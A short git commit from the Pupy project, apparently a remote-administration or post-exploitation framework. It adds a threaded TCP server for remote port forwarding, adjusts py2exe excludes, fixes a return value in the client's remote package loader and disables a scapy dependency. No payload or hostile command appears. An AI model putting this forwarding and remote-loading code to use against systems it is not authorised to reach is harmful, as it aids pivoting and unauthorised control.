small fixes + fix issue #58

This commit is contained in:
n1nj4sec 2015-12-27 12:38:50 +01:00
parent 8738cda0e8
commit bcf3e78ca2
4 changed files with 27 additions and 3 deletions

View File

@ -45,7 +45,7 @@ setup(
"packages":['additional_imports'],
"compressed" : True,
"bundle_files" : 3, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything
"excludes": ["Tkinter"]
"excludes": ["Tkinter", "pyreadline", "IPython"]
}
}
)

View File

@ -0,0 +1,24 @@
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import SocketServer
import threading
class RemotePortFwdRequestHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.server.callback(self.request)
class RemotePortFwdServer(SocketServer.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, bind_and_activate=True, callback=None):
self.callback=callback
SocketServer.TCPServer.__init__(self, server_address, RemotePortFwdRequestHandler, bind_and_activate)
def start_serve(self):
t=threading.Thread(target=self.serve_forever)
t.daemon=True
t.start()
class ThreadedRemotePortFwdServer(SocketServer.ThreadingMixIn, RemotePortFwdServer):
def __str__(self):
return "<RemotePortForward remote=%s>"%str(self.server_address)

View File

@ -129,7 +129,7 @@ class PupyClient(object):
self.conn.execute(v)
else:
raise PupyModuleError("Unknown package loading method %s"%t)
self._load_package(module_name, force)
return self._load_package(module_name, force)
def _load_package(self, module_name, force=False):
"""
load a python module into memory depending on what OS the client is.

View File

@ -13,7 +13,7 @@ packages_dependencies={
],
"scapy" : [
(LOAD_PACKAGE, "pcap"),
(LOAD_PACKAGE, "dnet"),
#(LOAD_PACKAGE, "dnet"),
(EXEC, "import socket\nsocket.IPPROTO_IPIP=4\nsocket.IPPROTO_AH=51\nsocket.IPPROTO_ESP=50\n") #hotpatching socket module missing some constants on windows
],